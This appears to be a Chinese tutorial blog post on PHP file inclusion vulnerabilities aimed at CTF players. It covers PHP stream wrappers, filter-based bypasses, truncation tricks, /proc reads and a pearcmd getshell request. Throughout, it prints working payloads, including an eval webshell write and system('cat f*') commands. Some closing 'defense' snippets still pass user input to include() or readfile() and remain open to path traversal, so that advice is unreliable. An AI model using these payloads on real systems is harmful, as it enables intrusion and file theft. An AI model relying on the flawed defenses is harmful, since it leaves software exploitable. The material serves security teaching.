文件包含概述
开发人员常常把可重复使用的函数写入到单个文件中,在需要使用这些函数时,直接调用此文件,而无需再次编写函数,这一过程被称为文件包含。例如,在 Python 中可以通过 import 导入其他 Python 文件中的代码:
import base64
s = b'Hello iami233'
print(base64.b64encode(s))在 C 语言中可以通过 include 将 stdio.h 文件中的代码包含到当前文件中:
#include <stdio.h>
int main() {
printf("Hello iami233");
return 0;
}文件包含漏洞
文件包含漏洞通常出现在动态网页中。有时候由于网站功能需求,允许前端用户选择要包含的文件。如果开发人员没有对要包含的文件进行充分的安全考虑,比如对传入的文件名没有进行合理校验,攻击者可能通过修改文件的位置来让后台包含任意文件,从而导致文件包含漏洞。
注意:网上常提到的文件读取漏洞、文件下载漏洞均可理解为文件包含漏洞。
大多数 Web 语言都支持文件包含操作,其中 PHP 语言由于其文件包含功能的强大和灵活,文件包含漏洞经常出现在 PHP 语言中。
文件包含函数
在 PHP 中常用的文件包含函数有以下四种:
include(): 找不到被包含的文件时只会产生警告,脚本将继续运行。include_once(): 与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。require(): 找不到被包含的文件时会产生致命错误,并停止脚本运行。require_once(): 与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
当以上四种函数参数可控时,我们需要知道以下两点特性:
- 若文件内容符合 PHP 语法规范,包含时不管扩展名是什么都会被 PHP 解析。
- 若文件内容不符合 PHP 语法规范则会暴露其源码。
除了以上常用的文件包含函数外,还有一些可以实现读取文件内容或对读取文件有帮助的函数,感兴趣的读者可以自行百度:
| 函数名称 | 描述 |
|---|---|
file_get_contents() | 读取文件的内容并将其作为字符串返回。 |
highlight_file() | 语法高亮显示文件内容。 |
fopen() | 打开文件或 URL。 |
readfile() | 读取文件并直接输出。 |
fread() | 从文件指针开始读取指定长度的字节。 |
fgetss() | 从文件指针中读取一行并过滤掉 HTML 和 PHP 标签。 |
fgets() | 从文件指针中读取一行。 |
parse_ini_file() | 解析配置文件并将其中的设置作为数组返回。 |
show_source() | 语法高亮显示文件内容(highlight_file() 的别名)。 |
file() | 将文件读入一个数组中,每个元素是文件的一行。 |
file_exists() | 检查文件或目录是否存在。 |
pathinfo() | 返回文件路径的信息。 |
scandir() | 列出指定目录下的文件和目录。 |
basename() | 返回路径中的文件名部分。 |
dirname() | 返回路径中的目录部分。 |
文件包含分类
文件包含漏洞主要分为 本地 和 远程 两种类别,分类取决于所包含文件位置的不同。这两种分类依赖于 php.ini 中的两个配置项,修改配置时注意 On / Off 开头需大写,并在修改后重启 Web 服务以使配置文件生效。
allow_url_fopen(默认开启)
allow_url_include(默认关闭,远程文件包含必须开启)本地文件包含
当被包含的文件在服务器本地时,如下图所示:
http://127.0.0.1/?filename=/etc/passwd
http://127.0.0.1/?filename=./phpinfo.txt远程文件包含
当被包含的文件在远程服务器时,如下图所示:
http://127.0.0.1/?filename=http://example.com/readme.md如何判断服务器类型
虽然判断服务器类型的必要性不是很大,但了解一些基本思路仍有帮助:
读取文件
可以尝试读取 /etc/passwd 文件,如果可行则代表操作系统为 Linux,反之为 Windows(注意这种方法并非百分百准确,某些情况下可能存在过滤不允许任意文件包含)。
大小写混写
可以利用文件包含读取文件时,大小写敏感的特性来判断服务器类型,因为在 Linux 中严格区分大小写,而 Windows 不区分大小写。例如在 Windows 下包含的文件为 lfi.txt,即使写成 Lfi.txt 或 lFi.tXT 等形式也能包含成功。
文件包含协议
file://
条件:
- allow_url_fopen:不受影响
- allow_url_include:不受影响
作用:用于访问本地文件系统。
说明:
file://是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径时,路径将基于当前的工作目录。用法:
phpfile:///etc/passwd file://C:/Windows/win.ini
php://
条件:
allow_url_fopen: 不受影响allow_url_include: 部分情况需要on
作用:php:// 协议用于访问 PHP 的输入/输出流(I/O streams),包括标准输入、输出、错误描述符等。它提供了对 PHP 内部流的直接操作能力。
说明:以下是 php:// 协议中常用的流和其功能:
| 协议 | 作用 |
|---|---|
php://input | 只读流,用于访问原始 POST 数据。enctype="multipart/form-data" 的请求中此流不可用。 |
php://output | 只写流,允许将数据写入输出缓冲区,类似于 print 和 echo。 |
php://fd | (>=5.3.6) 允许访问指定的文件描述符。例如 php://fd/3 访问文件描述符 3。 |
php://memory / php://temp | (>=5.1.0) 允许读写临时数据。php://memory 将数据存储在内存中,而 php://temp 在内存达到限制(默认 2MB)后存储在临时文件中。临时文件的位置与 sys_get_temp_dir() 一致。 |
php://filter | (>=5.0.0) 一种元封装器,应用数据流过滤。对于如 readfile()、file() 和 file_get_contents() 等函数在读取数据流内容之前应用过滤器非常有用。 |
php://filter 参数详解
php://filter 协议允许在路径中传递参数来应用数据过滤。多个参数可以通过管道符 (|) 组合使用。具体参数说明如下:
| 参数 | 描述 |
|---|---|
resource=<要过滤的数据流> | 必需。指定要筛选的数据流。 |
read=<读链的过滤器> | 可选。设置一个或多个读取过滤器名称,使用管道符 (` |
write=<写链的过滤器> | 可选。设置一个或多个写入过滤器名称,使用管道符 (` |
;<过滤器> | 没有 read= 或 write= 前缀的筛选器会根据情况应用于读链或写链。 |
常用过滤器
| 字符串过滤器 | 作用 |
|---|---|
string.rot13 | 执行 str_rot13() 转换 |
string.toupper | 执行 strtoupper() 转换 |
string.tolower | 执行 strtolower() 转换 |
string.strip_tags | 执行 strip_tags() 去除 HTML 和 PHP 标签 |
| 转换过滤器 | 作用 |
|---|---|
convert.base64-encode & convert.base64-decode | 执行 base64_encode() 和 base64_decode() 编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | 执行 quoted-printable 编码和解码 |
| 压缩过滤器 | 作用 |
|---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件,但不包括 gzip 的头和尾信息,只处理数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,处理 bz2 兼容的文件。 |
| 加密过滤器 | 作用 |
|---|---|
mcrypt.* | 执行 libmcrypt 对称加密算法 |
mdecrypt.* | 执行 libmcrypt 对称解密算法 |
示例
convert过滤器
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x) {
if (preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i', $x)) {
die('too young too simple sometimes naive!');
}
}
$file = $_GET['file'];
$contents = $_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>" . $contents);利用 Base64 和 Rot13 过滤,尝试编码生成符合要求的字符串:
// 通过 URL 编码两次绕过过滤
GET: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
POST: contents=?<hp pystsme"(ac tlf"*;)关于编码,ucs-2 编码的字符串位数应为偶数,ucs-4 编码的字符串位数应为 4 的倍数:
<?php
echo iconv("UCS-2LE","UCS-2BE",'<?php system("cat fl*");');Base64过滤器编码
# index.php
<?php
highlight_file(__FILE__);
require($_GET['filename']);
?>
# flag.php
<?php
// $flag = 'flag{th14_1s_m3_fl4g}';
echo '答案在注释里,自己找吧';使用 php://filter 伪协议读取文件内容,并用 convert.base64-encode 过滤器编码:
php://filter/read=convert.base64-encode/resource=flag.phpRot13过滤器编码
<?php
if (isset($_GET['file'])) {
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>" . $content);
} else {
highlight_file(__FILE__);
}绕过 die() 的一种方法是使用 Base64 或 Rot13 编码:
// Base64 示例
GET: ?file=php://filter/convert.base64-decode/resource=1.php
POST: content=<?php system('cat f*');// Rot13 示例
GET: ?file=php://filter/string.rot13/resource=1.php
POST: content=<?php system('cat f*');Rot13 解码后内容:
<?cuc qvr('大佬别秀了');?><?php system('cat f*');php://input
注意 php://input 需要开启 allow_url_include,另外尽量不要使用 hackbar 进行发包,可能无法正常发包。
<?php
highlight_file(__FILE__);
include($_GET['filename']);
?>写入操作示例:
<?php file_put_contents('shell.php', '<?php @eval($_POST[cmd]);');data://
条件:
allow_url_fopen: onallow_url_include: on
作用:从 PHP 5.2.0 开始,data:// 数据流封装器允许在 PHP 代码中嵌入和传递数据。这通常用于传递特定格式的数据,也可以用来执行 PHP 代码。
用法:
data://text/plain,<?php phpinfo();
data://text/plain;base64,[Base64编码的代码]phar://
条件:
allow_url_fopen: onallow_url_include: 不受影响
作用:Phar (PHP Archive) 是从 PHP 5.3.0 版本引入的功能,允许通过 phar:// 流封装器访问和操作 Phar 文件格式。攻击者可以利用文件包含漏洞和序列化对象执行恶意代码。
示例:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'text content');
$phar->setMetadata(new EvilClass());
$phar->stopBuffering();通过 phar:// 协议访问序列化对象:
include('phar://test.phar');zip://, bzip2://, zlib://
条件:
allow_url_fopen: onallow_url_include: 不受影响
作用:允许访问压缩文件中的内容,且不需要指定特定的文件后缀名,文件扩展名可以被修改为任意值。
用法:
// 访问 ZIP 文件中的指定文件
$content = file_get_contents('zip://path/to/archive.zip#file.txt');
echo $content;bypass
00截断
在 PHP 中,由于其内核是用 C 语言实现的,因此继承了 C 语言中的一些字符串处理方式。特别是,C 语言使用 \x00(也就是 NULL 字节)作为字符串的结束符。这意味着,当 PHP 处理包含 NULL 字节的字符串时,它会在遇到 \x00 时截断字符串。
条件:
magic_quotes_gpc: off- PHP >= 5.3.4
示例:
文件路径截断:
如果我们需要访问
/etc/passwd文件,但路径中有一个 NULL 字节,可以将路径写成../../etc/passwd\0。在 Web 输入中,NULL 字节需要 URL 编码,变成:../../etc/passwd%00目录遍历截断:
利用 NULL 字节来绕过目录遍历限制。例如,使用以下 URL 可能绕过路径检查:
?file=../../../../../../../../../var/www/%00这种方式适用于 Unix 文件系统,如 FreeBSD、OpenBSD、NetBSD、Solaris 等。
长度截断
利用操作系统对目录名长度的限制进行路径截断。Windows 系统通常对路径长度限制为 256 字节,而 Linux 系统通常限制为 4096 字节。通过构造超长路径,攻击者可以达到截断的效果。
条件:
- PHP >= 5.2.8
示例:
././././././././././././././././passwdpearcmd
在 Docker PHP 裸文件本地包含综述中,提到了 pearcmd.php 的利用方法。该方法无需竞争条件,也没有额外的版本限制,只要是 Docker 启动的 PHP 环境即可通过一个数据包搞定。
在 Docker 的任何版本镜像中,
pcel/pear都会被默认安装,安装路径在/usr/local/lib/php
通过发送以下数据包,目标将写入一个文件 /tmp/hello.php,其中包含 <?=phpinfo()?>。然后,利用文件包含漏洞包含这个文件即可实现 getshell。
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: closepeclcmd
与 peclcmd 相似,参考 SEETF-2023 中的一道题目。
proc
/proc是一个在 Linux 系统中用于访问内核内部数据结构、获取系统信息以及控制系统行为的虚拟文件系统。它提供了一种通过文件系统的方式查看和操作内核状态的机制。值得注意的是,/proc是一个伪文件系统,其数据只存在于内存中,而不占用硬盘空间。
在文件包含漏洞的情境中,通常会存在非预期的情况,例如 Dreamer_revenge(红明谷杯 2023)、ArkNights(羊城杯 2023)、YamiYami(HDCTF 2023)、MyBox(NSSCTF 2nd)。因此,如果出题人未清空变量,很有可能通过 /proc 实现非预期攻击。
以下是一些常用的 /proc 目录下文件和目录:
| 文件路径 | 描述 |
|---|---|
| /proc/self | 表示当前进程的目录。通过 /proc/self 可以方便地获取当前进程的信息。 |
| /proc/self/cmdline | 包含当前进程的完整命令行参数。 |
| /proc/self/cwd | 是一个符号链接,指向当前进程的当前工作目录。 |
| /proc/self/exe | 是一个符号链接,指向当前进程的可执行文件。 |
| /proc/self/environ | 包含当前进程的环境变量。 |
| /proc/self/fd/ | 是一个目录,包含当前进程打开的文件描述符的符号链接列表。 |
| /proc/$pid/ | 表示进程号为 $pid 的进程目录。例如,/proc/1234/ 对应进程号为 1234 的进程(Docker 容器默认的 PID 为 1)。 |
通过读取这些文件,可以获取关于进程的详细信息,方便进行调试和监控。对于 Docker 容器,/proc 中的信息可以用于发现容器内部的运行时信息,如进程启动命令、环境变量等。
防御措施
为防止文件包含漏洞,我们可以采取以下几种防御措施:
禁用不必要的功能
关闭 allow_url_include 以防止远程文件包含漏洞:
allow_url_include = Off严格验证用户输入
对用户输入的文件路径进行严格验证和过滤,避免包含不受信任的文件:
$page = $_GET['page'];
$allowed_pages = ['home.php', 'about.php', 'contact.php'];
if (in_array($page, $allowed_pages)) {
include($page);
} else {
echo 'Invalid page!';
}使用绝对路径
使用绝对路径包含文件,避免相对路径带来的安全风险:
include('/var/www/html/' . $_GET['page']);限制文件类型
仅允许包含特定类型的文件,例如 .php 文件:
$page = $_GET['page'];
if (preg_match('/^[a-zA-Z0-9_-]+\.php$/', $page)) {
include($page);
} else {
echo 'Invalid page!';
}使用安全函数
尽量使用更安全的文件包含函数,如使用 readfile() 仅读取文件内容,而不解析代码:
readfile('/var/www/html/' . $_GET['page']);